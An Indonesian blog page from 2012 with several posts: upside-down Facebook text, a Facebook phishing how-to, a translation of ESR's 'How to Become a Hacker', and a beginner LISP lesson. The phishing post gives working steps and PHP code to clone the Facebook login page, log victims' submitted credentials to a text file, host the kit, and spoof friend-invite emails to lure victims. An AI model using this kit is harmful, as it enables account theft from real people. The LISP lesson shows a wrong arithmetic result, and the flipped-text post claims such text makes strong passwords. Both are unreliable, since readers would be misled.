Wednesday, September 5, 2012

demo image
Pernah lihat status Facebook dg tulisan terbalik?!
Contohnya seperti tulisan di bawah ini:

ʞılɐqɹǝʇ ıuı uɐsılnʇ
ʞooqǝɔɐɟ snʇɐʇs ʞnʇun uɐʞɐunƃıp ɐsıq

Caranya mudah, yaitu masuk ke website wordflipper yaitu: www.wordflipper.org
Tulis kata-katamu dibagian kotak original, maka tulisanmu akan otomatis terbalik dan bisa kamu copy paste (dibagian bawah kotak original)
Tulisan ini juga bisa digunakan untuk:

- Status Twitter
- Membuat password yang super kuat
- Digunakan untuk Instant Messaging
- Freak out your friends
- Digunakan dalam email

Cara Mudah Bikin Phising Facebook│Menyadap UserID dan Password FB




Phising merupakan istilah yang diambil dari kata Fishing yang artinya Memancing.Phising didunia internet berarti memancing korban untuk mengunjungi halaman tertentu.Phising di Facebook berarti Hacker menggunakan segala cara untuk memancing anda agar mengunjungi halaman Facebook palsu (Fake Login Facebook).Phising Facebook merupakan cara yang paling sering digunakan dalam Facebook Hacking.
Cara Phising-nya antara lain:

1. Mengirim Email palsu
Intinya Hacker mengirim sebuat email kepada anda yang seolah-olah merupakan email dari Facebook dan anda diminta untuk mengunjungi sebuah link/url/alamat situs.
2. Melalui IM(internet messenger)
Misalnya Hacker masuk kesebuah room di YM(Yahoo Messenger) dan mempost sebuah link Facebook Palsu.
3. Melalui sebuah situs
misalnya :
a) Hacker membuat sebuah Blog dan memposting artikel menarik tentang Facebook dan mengarahkan anda ke halaman login Facebook palsu.
b) Dengan memberi komentar beserta link Facebook palsu diartikel sebuah situs
c) Hacker menggunakan situs² iklan baris gratis/non gratis untuk mem-post tulisan ajakan-nya. Dll

Berikut Cara Mudah Membuat Phising Facebook :
2. Klik Kanan >> View Page Source atau tekan CTRL + U
3. Copy semua kode yang ada disitu kemudian paste ke notepad
4. Tekan CTRL + F kemudian cari kata action=
5..Ubah.action="https://www.facebook.com/login.php?login_attempt=1menjadi action="next.php" .. Ubah juga method dari POST menjadi get

6. Simpan notepad ini dengan nama login.php 
7. Buat notepad baru kemudian isikan kode berikut
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pass.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Note: ubah http://www.Facebook.com/login.php menjadi alamat web yang anda inginkan


8. Simpan Dengan Nama next.php
9. Buat notepad baru lagi .. isikan dengan huruf L >> Kemudian simpan dengan nama pass.txt
10. Kemudian Upload ke tiga file tersebut "login.php, next.php, pass.txt" ke alamat free hosting misalnya  http://000webhost.com,http://idhostinger.com, http://spam.com atau http://007sites.com. 

Langkah-langkah spoofing :
1. Copy content asli undangan pertemanan dari facebook. 
2. Edit hyperlink dari : "http:/www.facebook.com/n/?reqs.php"
3. Ganti dengan halaman phising anda, hal ini tidak akan merubah tampilan di content asli facebook tapi tetap mengarah ke halaman phising kamu. Phising siap dikirim ke korban kamu. 


Notice :
Semua yang anda pelajari dan yang anda lakukan secara otomatis sudah menjadi TANGGUNG JAWAB anda Sepenuhnya, Seluruhnya, dan Seutuhnya. So jadikan ini sebagai ilmu pengetahuan bukan untuk hacking facebook orang. 
SILHKAN DOWNLOAD : DISINI  atau Disini
PASWORD : aghilmyblog.blogspot.com


│Semoga  Bermanfaat│

Tuesday, September 4, 2012

Cara Menjadi Seorang Hacker



Taken from:http://indonewbies.tk/

Mengapa Dokumen Ini?

Sebagai seorang editor dari Jargon File, seringkali saya mendapatkan email permohonan dari kalangan newbie yang antusias menanyakan (seperti) “Bagaimana saya bisa belajar menjadi seorang hacker yang handal?” Cukup aneh juga, karena mereka tidak melihat dan membaca berbagai FAQ atau dokumentasi web yang mengulas pertanyaan penting ini, jadi inilah masalah utamanya.


Jika anda membaca cuplikan dokumen offline ini, versi onlinenya ada di http://www.ccil.org/~esr/faqs/hacker-howto.html

Apakah Hacker itu?
Jargon File yang berisikan penjelasan istilah hacker yang terkait erat dengan keahlian teknis dan senang memecahkan masalah serta melampaui batasan yang ada. Jika anda ingin tahu cara menjadi seorang hacker, hanya ada dua hal yang benar-benar relevan.

Ada sebuah komunitas, budaya saling berbagi informasi, dari kaum programmer ahli dan pakar jaringan yang melalui sejarah saat pertama kali minicomputer diciptakan dan awal mula eksperimen ARPAnet. Para anggota budaya ini asal sebenarnya istilah ’hacker’. Hacker yang membangun internet, hacker menciptakan sistem operasi UNIX hingga hari ini. Hacker pula yang menjadikan World Wide Web bekerja. Jika anda merupakan bagian dari budaya ini, jika anda berkontribusi didalamnya dan mereka mengenal anda serta menyebut anda seorang hacker, maka anda memang benar seorang hacker.

Pola pikir hacker tidak terbatas pada budaha software-hacker. Ada beberapa orang yang menerapkan sikap hacker tersebut pada hal lainnya, seperti elektronik atau musik – sebenarnya, disini anda dapat menemukan tingkat tertinggi dari ilmu pengetahuan atau seni. Sedangkan software hacker mengenal semangat juang ini dimanapun mereka berada dan menyebut diri mereka “hacker” juga – dan beberapa klaim bahwa dunia hacker tidak terbatas pada dimana mereka bekerja. Namun dalam dokumen ini kita hanya berfokus pada keahlian dan sikap para software hacker, dan tradisi saling berbagi yang mengawali istilah ‘hacker’.

Adapula kelompok lain yang menyebut diri mereka hacker, namun sebenarnya tidak. Orang-orang ini (terutama dikalangan remaja) lyang melakukan kerusakan komputer dan membobol sistem telepon. Para hacker yang sejati menyebut mereka sebagai ‘cra cker’ dan tidak ada kaitannya dengan mereka. Hacker sejati menganggap cra cker adalah pemalas, tidak bertanggung jawab dan pandai, dan kemampuan yang mereka miliki hanya untuk membobol sistem keamanan tidak lantas menjadi mereka hacker sebagaimana halnya jika anda mampu menjalankan mobil juga tidak lantas menjadikan anda seorang insinyur otomotif. Sayangnya, banyak sekali para jurnalis dan penulis yang salah dalam menggunakan kata ‘hacker’ untuk menggambarkan cra cker; hal ini menodai citra hacker sejati.

Perbedaan dasar antar hacker dan cra cker: hacker membangun sesuatu, cra ckerlah yang merusaknya.

Jika anda ingin menjadi seorang hacker, banyaklah membaca. Jika anda ingin menjadi seorang hacker, bacalah alt.2600 newsgroup dan bersiap-siaplah untuk melakukan 5 dari 10 perbuatan tercela setelah menyadari bahwa anda tidaklah secerdas yang anda kira. Dan itulah mengapa saya menggolongkan anda sebagai cra cker.

Sikap Hacker
Hacker memecahkan masalah dan membangun sesuatu, dan mereka meyakini kebebasan dan saling membantu satu sama lainnya dengan sukarela. Untuk diterima sebagai seorang hacker, anda harus berperilakuk seolah-olah hal itu merupakan sikap anda sendiri. Dan untuk berperilaku seakan-akan anda memiliki sikap tersebut, terlebih dahulu anda harus meyakini kebenaran sikap tersebut.

Tapi jika anda mengira menerapkan sikap hacker merupakan suatu cara untuk diterima dalam budaya hacker tersebut, anda salah besar. Menjadi orang yang memiliki sikap hacker sangatlah penting bagi anda – untuk membantu anda belajar dan terus termotivasi. Sebagaimana halnya seni penciptaan, cara paling efektif untuk menjadi seorang master adalah berpikir dan bertindak bahwa anda benar-benar seorang master – tidak hanya secara intelektual namun juga secara emosional.

Jadi, jika anda ingin menjadi seorang hacker, teruslah mengulang-ulang hal tersebut hingga anda benar-benar menjadi salah satu diantara mereka.

1. Dunia yang penuh pesona masalah telah menunggu untuk diatasi.
Menjadi seorang hacker sangatlah menyenangkan, namun jenis kesenangan yang diperoleh membutuhkan banyak usaha. Usaha yang memerlukan motivasi. Kesuksesan seorang atlet memerlukan motivasi akan bentuk fisik yang bagus, yang mendorong mereka mengatasi keterbatasan fisik mereka.


Sama halnya, untuk menjadi seorang hacker anda perlu keterampilan dasar dalam memecahkan masalah, mempertajam kemampuan dan melatih kecerdasan anda tanpa henti.


Jika anda jenis orang yang seperti itu secara alami, anda perlu memiliki tujuan untuk menjadi seorang hacker. Dengan kata lain anda memerlukan semangat hacking yang tidak dirusak dengan mengumbar nafsu seks, uang dan cemoohan masyarakat.

(anda juga harus mengembangkan ketekunan dalam belajar – mempercaya bahwa meskipun anda tidak mengetahui semua yang anda perlukan dalam memecahkan masalah, jika anda hanya mampu mengungkap sebagian dan belajar dari hal itu, anda telah cukup belajar mengatasi masalah dibagian berikutnya – dan seterusnya, hingga anda benar-benar berhasil.)

2. Tak seorangpun harus mengatasi masalah dua kali
Pemikiran kreatif sangatlah berharga, sumber dayanya terbatas. Tidak seharusnya mereka memboroskan waktu dengan masalah yang sama berulang-ulang disaat berbagai masalah baru telah menunggu diluar sana.

Untuk berperilaku seperti seorang hacker, anda harus yakin bahwa waktu berpkir hacker lain sangatlah jitu – jadi nyaris merupakan tugas moral bagi anda untuk berbagi informasi, memecahkan masalah dan memberikan solusi lebih jauh agar hacker lainnya dapat mengatasi masalah yang baru ketimbang menghabiskan waktu pada masalah yang sama berulang-ulang.

(Anda tidak perlu percaya bahwa anda harus memberikan seluruh produk kreatif anda, meski para hacker ada pula yang melakukannya untuk memperoleh respek dari hacker lainnya. Konsistensi nilai-nilai hacker untuk menjual produknya hanyalah sekedar untuk makan dan biaya sewa komputer. Konsistensi dalam menggunakan keahlian hacking anda untuk mendukung keluarga atau memperoleh kekayaan, tidak apa-apa sepanjang anda tidak lupa bahwa anda adalah seorang hacker.)

3. Bosan dan kejenuhan adalah musuh utama.
Kaum hakcer (dan orang-orang kreatif pada umumnya), semestinya tidak pernah menjadi bosan atau jenuh terhadap pekerjaan rutin, karena saat hal ini terjadi maksdunya mereka tidak melakukan apa yang mereka mampu lakukan – memecahkan masalah baru. Hal ini hanya akan menyakit perasaan setiap orang. Oleh karena itu bosan dan kejenuhan bukan hanya tidak diinginkan melainkan juga musuh utama.


Untuk berperilakuk sebagai seorang hacker, anda harus percaya hal ini cukup untuk berada sejauh mungkin dari kebosanan, tidak hanya untuk diri anda sendiri namun juga bagi orang lain (khususnya hacker lainnya).

(Terdapat beberapa pengecualian untuk hal ini. Para hacker terkadang melakukan sesuatu yang tampaknya berulang-ulang atau membosankan untuk memperhatikan dan melatih kejernihan pikirannya, bertujuan untuk mempertajam kemampuan atau mendapatkan beberapa pengalaman tertentu yang tidak dimiliki oleh orang lain. Namun dengan pilihan ini – tak seorang pun bisa memperkirakan kapan mereka terperosok dalam kejenuhan.)

4. Kebebasan adalah hal yang baik.
Kaum hacker pada dasarnya anti-penguasa. Setiap orang yang mencekoki anda denga pemikiran ala penguasa, pada umumnya memiliki beberapa alasan tertentu untuk melakukannya pula. Jadi sikap sok berkuasa harus dilawan dimanapun anda berada, untuk mengurangi jeratan yang melilit anda dan para hacker lainnya.


(Hal ini tidak berarti melawan seluruh penguasa. Anak-anak perlu dididik dan kejahatan harus dicegah. Seorang hacker bisa menerima beberapa jenis kekuasaan yang bertujuan sama dengan yang dia inginkan daripada menghabiskan waktunya dengan menuruti tujuan lainnya. Namun adakalanya perlu dilakukan tawar-menawar, jenis penyerahan diri pada kekuasaan tidak akan pernah mereka berikan.)

Para penguasa identik dengan penyensoran dan kerahasiaan. Mereka tidak pernah mempercayai ketulusan kerja sama dan berbagi informasi – mereka hanya menyukai ‘kerja sama’ yang dapat mereka kendalikan. Jadi untuk berperilaku sebagai seorang hacker, anda harus mengembangkan suatu kebencian terhadap penyensoran, kerahasiaan, dan penggunaan kekerasan atau tipu daya guna menghindari tanggung jawab. Dan anda harus bersedia bertindak berdasarkan keyakinan tersebut.

5. Sikap tidak menggantikan keahlian.
Untuk menjadi seorang hacker, anda harus mengembangkan beberapa sikap ini. Tapi membatasi diri pada sebuah sikap tunggal tidak akan menjadikan anda seorang hacker, atau apapun yang menjadikan anda sebagai seorang atlet juara atau bintang tenar. Menjadi seorang ahcker memerlukan kecerdasan, latihan, dedikasi dan kerja keras.


Oleh karena itu, anda harus belajar mempercayai sikap dan menghormati keahlian setiap orang. Kaum hacker tidak akan membiarkan pecundang membuang-buang waktu mereka, namun mereka menghormati keahlian – terutama keahlian hacking, keahlian apapun adalah baik. Keahlian membutuhkan keterampilan yang hanya beberapa master yang mampu, dan keahlian membutuhkan kecakapan yang terkait dengan sikap mental dan penjiwaan yang terbaik.

Jika anda menyukai keahlian, anda akan suka mengembangkan diri anda sendiri – kerja keras dan dedikasi menjadi suatu permainan yang menarik daripada membosankan. Dan itu merupakan hal terpenting guna menjadi seorang hacker.

Keahlian Dasar Hacking
Sikap hacker sangatlah penting, tetapi keahlian jauh lebih penting. Sikap tidak untuk mengganti keahlian, ada beberapa tolok ukur keterampilan dasar tertentu yang harus anda miliki sebelum anda bermimpi menjadi seorang hacker.

Tolok ukur ini senantiasa berubah seiring dengan perkembangan teknologi yang membutuhkan keterampilan baru yang membuat usang keterampilan lam. Sebagai contoh, dulu pemrograman bahasa mesin sangat diperlukan tanpa perlu mempelajar sesuatu yang berhubungan dengan HTML. Namun di kahir 1996 sangatlah penting untuk menyertakan keahlian dalam bidang berikut ini:

1. Belajar cara memprogram.
Tentu saja, ini merupakan keahlian dasar hacking. Tahun 1997 anda harus mutlak menguasai bahasa C (bukan hanya sekedar coba-coba belajar). Anda bukanlah seorang hacker atau programmer jika anda hanya mengetahui satu bahasa – anda perlu belajar cara berpikir mengenai masalah pemrograman secara umum, tidak tergantung pada satu bahasa pemrograman saja. Untuk menjadi seorang hacker sejati, anda harus mendapatkan petunjuk dimana anda dapat mempelajari bahasa baru selama berhari-hari dengan menghubungkan petunjuk terhadap apa yang telah anda ketahui. Maksudnya anda harus mempelajari beberapa bahasa pemrograman yang berbeda.


Disamping C, anda harus mempelakari LISP dan Perl (kalau perlu Java). Disamping pentingnya bahasa pemrograman, yang setiap bahasa tersebut memiliki pendekatan berbeda, dan memberikan anda pelajaran yang sangat berharga.

Saya tidak dapat memberikan petunjuk lengkap cara belajar pemrograman itu disini – membutuhkan keahlian yang kompleks. Namun saya bisa memberitahukan anda bahwa buku dan kursus tidak akan melakukan segalanya (mungkin kebanyakan karena pemikiran terbaik oleh para hacker). Apa yang perlu dilakukan adalah (a) membaca code dan (b) menulis code.

Belajar memprogram seperti belajar bahasa menulis bahasa asli. Cara terbaik untuk melakukan hal tersebut adalah membaca materi yang ditulis oleh para master dibidang masing-masing, menuliskan beberapa hal tentang diri anda, membaca lebih banyak, menulis lebih sedikit, membaca lebih banyak lagi, menulis lebih banyak… dan terus diulang-ulang hingga anda mulai menulis untuk mengembangkan dan mempertajam kemampuan sesuai dengan yang anda inginkan.

Dahulu, menemukan code yang bagus untuk dibaca sangatlah sulit, karena beberapa program besar hanya menyediakan sumbernya untuk para calon hacker yang membaca dan bekerja dengannya. Kini semuanya telah berubah secara dramatis antara lain; software gratis, tool pemrograman gratis, dan sistem operasi gratis (semuanya menyediakan kode sumber, dan seluruhnya dibangun oleh kaum hacker) serta digunakan secara luas.

2. Memperoleh, mempelajari, dan menjalankan UNIX secara gratis.
Saya beranggapan anda telah memiliki personal computer atau dapat mengaksesnya ditempat lain. Langkah pertama yang terpenting bagi para newbie guna mendapatkan keahlian hacker adalah mendapatkan copy Linux atau salah satunya yakni free BSD-Unix, install pada komputer anda dan jalankan.


Ya, ada beberapa sistem operasi lainnya selain Unix. Namun mereka terdistribusi dalam biner (terkompilasi) – anda tidak dapat membaca code tersebut, dan anda tidak dapat memodifikasinya. Mencoba belajar menghack melalui DOS atau Windows atau MacOS seperti sama halnya belajar menari dengan tubuh terikat.

Selain Unix sebagai sistem operasi di Internet. Anda bisa saja belajar menggunakan Internet tanpa perlu mengenal Unix, tetapi anda tidak dapat menjadi seorang hacker internet tanpa memahaminya. Untuk alasan inilah, budaya hacker saat ini sangat berfokus pada Unix. (Hal ini tidaklah selalu benar, karena beberapa hacker generasi lama tidak menyukainya, namun simbiosis antara Unix dan Internet menjadi cukup kuat yang bahkan Microsoft tidak mampu menggoyahkannya.)

Jadi, pelajarilah Unix – saya sendiri menyukai Linux namun ada cara lainnya. Mempelajarinya. Menjalankannya. Bekerja dengannya. Menghubungkannya ke internet. Membaca kode-nya. Dan memodifikasi kodenya. Anda akan mendapatkan alat pemrograman yang lebih baik (termasuk C, Lisp, dan Perl) ketimbang sistem operasi Microsoft yang anda impikan, anda memperoleh kesenangan, dan anda mendapatkan lebih banyak ilmu ketimbang anda merealisasikan yang telah anda pelajari hingga anda menoleh kebelakang sebagai seorang master hacker.

Untuk mempelajari Unix, lihat The Loginataka.

Untuk mempelajari Linux, lihat Where To Get Linux.

3. Belajar Cara Menggunakan World Wide Web dan Menulis HTML
Banyak hal dari budaya hacker yang membangun pekerjaan mereka diluar dari hal ini, membantu menjalankan pabrik, perkantoran dan universitas tanpa berpengaruh langsung pada kehidupan orang-orang awam. Web adalah satu pengecualian terbesar, mainan hacker yang berkilauan ini diakui telah mengubah dunia ketimbang politik. Untuk alasan tunggal inilah, anda harus belajar cara bekerja dengan Web.

Hal ini tidak berarti mempelajari cara menggunakan browser (siapapun dapat melakukan hal itu), namun mempelajari cara menulis HTML, bahasanya Web. Jika anda tidak mengetahui cara memprogram, menulis HTML yang membantu anda belajar. Bangunlah sebuah website.

Namun hanya memiliki sebuah website tidak lantas menjadikan anda cukup baik untuk menjadi hacker. Web merupakan himpunan home page. Anda memerlukan petunjuk tentang dunia HTML, lihat The HTML Hell Page).
Agar berguna, halaman anda harus memiliki isi (content) – harus menarik dan/atau bermanfaat bagi hacker lainnya.

Status Budaya Hacker
Seperti kebanyakan budaya tanpa kemandirian ekonomi, hackerdom memiliki reputasi. Anda mencoba memecahkan masalah yang menarik, namun betapa menariknya mereka, dan apakah solusi anda benar-benar baik, adalah suatu hal yang memerlukan kemampuan teknis atau kepakaran yang diperlukan untuk menilai.

Berdasarkan hal itu, saat anda melakukan permainan hacker, anda belajar menjaga skor utama anda melalui apa yang hacker lain pikirkan tentang keahlian anda (inilah mengapa anda tidak benar-benar menjadi seorang hacker hingga hacker lainnya secara konsisten menyebut anda sebagai hacker). Kenyataannya adalah image yang tidak jelas tentang hacking seperti pekerjaan mereka yang terkungkung; juga dengan larangan budaya hacker (sekarang berangsur-angsur memudar tapi masih berpotensi) terhadap pengakuan bahwa ego atau pengakuan dunia luar merupakan salah satu dari motivasi seseorang.

Khususnya, hackerdom adalah apa yang para ahli antropologi sebagai budaya terikat. Anda mendapatkan status dan reputasi didalamnya dengan tidak dengan mendominasi orang lain, tidak mengandalkan kecantikan, tidak memiliki sesuatu yang orang lain inginkan, namun memberikan sesuatu yang lebih berharga. Khususnya, memberikan waktu anda, kreatifitas anda, dan hasil dari kemampuan anda.

Ada 5 hal mendasar yang bisa anda lakukan untuk dihormati oleh para hacker:

1. Menulis Software Gratis Anda.
Hal pertama (pada umumnya) adalah menulis program yang hacker lain anggap sangat menyenangkan dan bermanfaat, dan memberikan sumber program ke dunia hacker untuk digunakan.

Hackerdom seperti kelompok manusia setengah dewa yang menulis sebagian besar, program hebat yang kita temui diseluruh dunia dan banyak digunakan oleh setiap orang.


2. Membantu Menguji dan Mendebug Software Gratis.
Mereka juga melayani orang-orang yang membuat dan mendebug software gratis. Dalam dunia yang tidak sempurna ini, kita tidak dapat menghindari sebagian besar waktu yang dihabiskan dalam pengembangan software adalah saat mendebug. Itulah mengapa penulis software gratis orang-orang berpikir untuk memberitahukan anda bahwa penguji beta yang baik (siapapun yang mengetahui cara menggambarkan gejalanya, dan bersedia menerapkan beberapa contoh rutin diagnosanya) merupakan hadiah paling berharga bagi mereka. Bahkan orang ini bisa membuat perbedaan antara fase mendebug yang memakan waktu lama, mimpi buruk yang menakutkan dan orang itu mau bersusah-payah demi sesuatu yang berguna.

Jika anda seorang newbie, cobalah mencari sebuah program yang masih dikembangkan, bahwa anda tertarik dengannya dan menjadi seorang penguji beta yang baik. Itulah sifat alami untuk membantu menguji program membantu mendebug-nya guna membantu mereka memodifikasi. Banyak hal yang dapat anda pelajari dalam hal ini, dan memberikan anda karma yang baik pada orang-orang yang anda bantu di kemudian hari.

3. Publikasikan informasi yang berguna.
Hal baik lainnya adalah mengumpulkan dan menyaring informasi yang berguna dan menarik pada halaman web atau dokumentasi seperti FAQ (Frequently Asked Question) dan tersedia untuk umum.

Pemelihara sebagaian besar FAQ teknis juga mendapatkan kehormatan yang sama dengan penulis software gratis.

4. Membantu menjaga kerja infrastruktur.
Budaya hacker (dan pengembangan mesin Internet dijalankan oleh para sukarelawan. Ada banyak kebutuhan namun kerja yang tidak glamour senantiasa dikerjakan – mengadministrasi mailing list, memoderasi newsgroup, memelihara situs arsip software yang besar, mengembangkan RFC dan standar teknis lainnya.

Orang-orang yang melakukan hal ini layak mendapatkan kehormatan, karena setiap orang mengetahui pekerjaan ini memakan banyak waktu dan tenaga serta tidak banyak kesenangan yang didapat sebagaimana bermain-main dengan kode. Mereka telah menunjukkan dedikasinya.

5. Melayani budaya hacker itu sendiri.
Akhirnya, anda bisa melayani dan menyebarluaskan budaya itu sendiri (misalkan tentang cara terbaik untuk menjadi seorang hacker :-)).


Ini bukanlah sesuatu yang harus anda lakukan telah anda menjadi terkenal dan melakukan 4 hal diatas.

Budaya hacker tidak memiliki pemimpin, tepatnya, namun mereka memiliki pahlawan dan adat-istiadat turun menurun dan bahasa. Saat anda melakukan perjalanan yang cukup panjang, mungkin anda tumbuh disini. Waspadalah: para hacker tidak mempercayai egoisme dalam budaya mereka, jadi sejauh mata memandang, egoisme dikenal sangat berbahaya. Ketimbang berupaya untuk hal itu, anda harus menyadari urutan posisi anda sendiri dan menjadi teladan dan bersikap ramah mengenai status anda.

The Hacker/Nerd Connection
Berlawanan dengan mitos terkenal, anda tidak harus menjadi seorang nerd untuk menjadi seorang hacker. Hal itu memang membantu, bagaimanapun juga, dan sebagian hacker adalah nerd yang sebenarnya. Menjadi seorang terkucil dari masyarakat membantu anda tetap terkonsentrasi pada hal yang benar-benar penting, seperti berpikir dan hacking.

Untuk alasan inilah, sebagian hacker mengadopsi label ‘nerd’ dan bahkan menggunakan istilah lebih keras, yakni ‘geek’ sebagai badge kebanggaan mereka – inilah suatu cara menyatakan independensi mereka dari anggapan masyarakat awam. Lihat The Geek Page untuk pembahasan lebih lanjut.

Jika anda bisa mengatur konsentrasi yang layak pada hacking untuk menjadi lebih baik dan masih memiliki kehidupan, itu sangat baik. Sekarang lebih mudah daripada saat saya masih menjadi seorang newbie; adat budayanya jauh lebih bersahabat terhadap techno-nerd. Ada beberapa orang yang menyatakan bahwa para hacker merupakan calon pacar/suami/istri yang berkualitas tinggi. Untuk informasi lebih jauh tentang hal ini silakan lihat Girl's Guide to Geek Guys.

Jika anda tertarik pada hacking karena anda tidak memiliki penghidupan, tidak masalah juga – setidaknya anda tidak memiliki kesulitan dalam konsentrasi. Mungkin anda akan mendapatkan jodoh, suatu hari nanti.

Titik Gaya
Sekali lagi, untuk menjadi seorang hacker, anda harus memiliki pola pikir seorang hacker. ada beberapa hal yang bisa anda lakukan saat anda tidak berada di depan komputer untuk membantu orang lain. Hal ini mungkin saja tidak berhubungan dengan hacking namun sebagian hacker melakukannya, dan merasa bahwa mereka memiliki ketertarikan di bidang yang sama.





  • * Bacalah buku fiksi sains. Pergilah ke pertemuan fiksi sains (cara terbaik untuk berjumpa dengan hacker dan proto-hacker).






  • * Study Zen, dan/atau mengambil seni beladiri. (disiplin jiwa sangatlah penting.)






  • * Mengembangkan kemampuan bermain musik. Belajar mengapresiasikan jenis musik khusus. Belajar memainkan beberapa instrumen musik dengan baik, atau cara menyanyi.






  • * Mengembangkan apresiasi anda dengan mengikuti kuis berhadiah.






  • * Belajar menulis dalam bahasa asing dengan baik. (sejumlah hacker juga adalah seorang penulis buku.)







  • Ada banyak hal yang harus anda lakukan, terutama adalah bahwa anda memiliki kapasitas sebagai seorang hacker. Mampu menggunakan kecakapan otak sebelah kiri dan kanannya adalah sangat penting (para hacker harus mampu berpikir secara logis dan bertindak tidak logis guna memecahkan masalah suatu waktu.)

    Akhirnya, beberapa hal yang tidak boleh dilakukan.



  • * Jangan bertindak bodoh, membesar-besarkan user ID atau screen name.





  • * Jangan mengobarkan kebencian di Usenet (atau ditempat lainnya)





  • * Jangan menggelari diri anda sendiri sebagai ‘cyberpunk’, dan jangan membuang-buang waktu anda pada setiap orang.





  • * Jangan memposting atau menulis email yang dipenuhi kesalahan eja dan tata bahasa yang buruk.







  • Jangan menjadikan diri anda atau orang lain sebagai bahan ejekan. Para hacker memiliki ingatan yang panjang – yang mengakibatkan anda perlu waktu bertahun-tahun agar anda bisa diterima.

    Narasumber lainnya
    Terjemahan dokumen ini tersedia dalam bahasa Prancis, Spanyol dan Jepang.

    Loginataka memiliki beberapa hal untuk disampaikan mengenai pelatihan dan sikap yang layak dari seorang Unix Hacker.

    Saya juga telah menulis mengenai A Brief History Of Hackerdom

    Peter Seeback memelihara suatu Hacker FAQ yang luar biasa ini bagi para manager yang tidak memahami cara bergaul dengan hacker.

    Saya telah menulis sebuah paper, The Cathedral and the Bazaar, yang menjelaskan seluk beluk budaya Linux. Anda dapat menemukannya di halaman ini.

    Frequently Asked Questions (Pertanyaan yang seringkali diajukan)
    Q: Bersediakan anda mengajari saya cara melakukan Hack?
    Semenjak awal publikasi halaman ini, saya banyak mendapat permintaan dari orang mengenai “ajari saya semua tentang hacking”. Sayangnya, saya tidak memiliki waktu atau energi untuk melakukan hal ini; proyek hacking saya sendiri memerlukan 110% dari waktu saya.

    Bahkan bila saya melakukannya, hacking adalah suatu sikap dan keahlian yang pada dasarnya harus anda miliki untuk mengajarkan diri anda sendiri. Anda akan menjumpai bahwa saat seorang hacker sejati ingin membantu anda, mereka tidak akan menghormati anda jika anda meminta dengan menghiba-hiba segala sesuatu yang mereka ketahui.

    Pelajari beberapa hal untuk pertama kalinya. Tunjukkan bahwa anda telah mencoba, bahwa anda mampu belajar sendiri. Kemudian jumpailah seorang hacker dengan pertanyaan tersebut.

    Q: Dimana saya dapat berdialog dengan seorang hacker sejati?
    Baiklah, yang jelas bukan melalui IRC, saya yakin –- disana tidak ada satupun selain flamer dan cra cker, sejauh yang saya ketahui. Cara terbaik adalah mencari suatu kelompok pengguna Linux atau Unix setempat untuk anda dan melakukan dialog dengan mereka (ada direktori halaman kelompok pengguna Linux di Sunsite).

    Q: Bahasa apa yang harus saya pelajari untuk pertama kali?
    HTML, jika anda tidak mengetahuinya. Ada banyak sumber, hype-HTML, buku panduan HMTL diluar sana, dan sebagainya. Salah satu yang terbaik adalah HTML: The Definitive Guide.

    Saat anda mulai melakukan pemrograman, saya sarankan memulainya dengan Perl atau Phython. C juga sangat penting, namun juga lebih sulit.

    Q: Bagaimana saya memulainya? Dimana saya bisa mendapatkan free UNIX?
    Disuatu tempat dihalaman ini saya sertakan petunjuk dimana mendapatkan Linux. Untuk menjadi seorang hacker anda perlu dorongan dan inisiatif dan kemampuan untuk mendidik diri anda sendiri. Mulailah sekarang…

    BELAJAR LISP SEDERHANA






    LISP merupakan bahasa pemrograman yang suadah tua tetapi masih populer hingga saat ini. Kelebihan dari LISP adalah terletak pada kemudahan dalam memanipulasi simbol dan hubungan antar simbol.

    Elemen Dasar LISP
    Dalam bahasa pemrograman LISP terdapat dua elemen dasar. Elemen dasar tersebut adalah:
        List
    List merupakan segala sesuatu yang dimulai dan diakhiri dengan tanda kurung.
    Contoh :
    ()  => merupakan list kosong.
    (5 4 3 2 1) => merupakan list integer.
    (a b c d e) => merupakan list karakter.
    (List (x y z)) => merupakan list dalam list.

          Atom
    Atom merupakan elemen-elemen yang berada di dalam List. Syarat utama dari atom adalah diawali dan diakhiri spasi. Terdapat 2 jenis atom, diantaranya adalah :
    1.  Numerik (angka), merupakan atom berupa integer atau real.
    2. Simbolik (simbol), merupakan atom berupa karakter atau string.

    Operator dan Operan
    Operator merupakan simbol atau karakter yang biasa dilibatkan untuk melakukan sesuatu operasi atau manipulasi. Dalam ekspresi fungsional terdapat 3 jenis operator, yaitu:
               Operator Aritmatika (+, -, *, / , mod, expt)
               Operator Rasional (=, /=, <, >, <=, >=)
               Operator Boolean (true, false)
    Operan merupakan angka atau simbol yang akan diproses atau dimanipulasi.
    Susunan :
    ( <operator>  <operan>  <operan> )

    Form
    Form merupakan sesuatu yang akan dicari nilainya. Form dapat berupa list atau atom. Penanganan form sangat sederhana jika yang terlibat merupakan atom. Jika atom terdiri dari angka atau numerik, maka hasilnya adalah angka itu sendiri.
    Contoh :
         >69
    ]69

           >-5.6454
     ]-5.6454

           >7/9
     ]7/9


    Yuk Praktek yuk !!!!!!
    Berikut ini merupakan beberapa contoh fungsi matematika yang sering digunakan dalam LISP :
         > (+ 6  2)
    ] 7
         > (- 6  2)
    ] 4
         > (mod 7 3)  (sisa pembagian saaat 7 dibagi 3)
    ] 1
        > (expt 3 2)  (artinya 3 pangkat 2)
    ] 9


    Kita dapat melakukan perhitungan yang kompleks dengan memanfaatkan list dalam list.
    Contoh :
         > (* 2 (- 7 2) )  (artinya 2*(7 - 2) )
    ] 10
         > (*  (- 7 2)  (+ 3 2) )  (artinya (7 - 2) (3 + 2) )
    ] 25


    Selain itu kita juga dapat menggunakan simbol yang telah diberi nilai sebelumya. Artinya suatu simbol dapat berisi integer pada suatu waktu, namun di waktu lain dapat berisi data dengan tipe lain (contohnya list). Kita dapat memberikan nilai ke simbol dengan menggunakan fungsi setq.
    Contoh :
                > (setq  b  75)  (memasukkan nilai 75 ke simbol b)
    ] 75
                > (setq  c  50)  (memasukkan nilai 50 ke simbol c)
    ] 50
    Jadi  telah kita masukkan nilai ke simbol b = 75 dan c = 50 , maka
    > (- b  c)  (artinya  b  dikurangi  c)
    ] 25

    Contoh Kasus :
    Sebagai contoh, misalkan kita ingin mencari penyelesaian dari 2x2-5x-3=0. Kita akan menggunakan rumus abc, jadi pertama-tama kita akan memberikan nilai pada simbol a, b, dan c.
    > (setq a 2)
    ] 2 
    > (setq b -5)
    ] -5
    > (setq c -3)
    ] -3
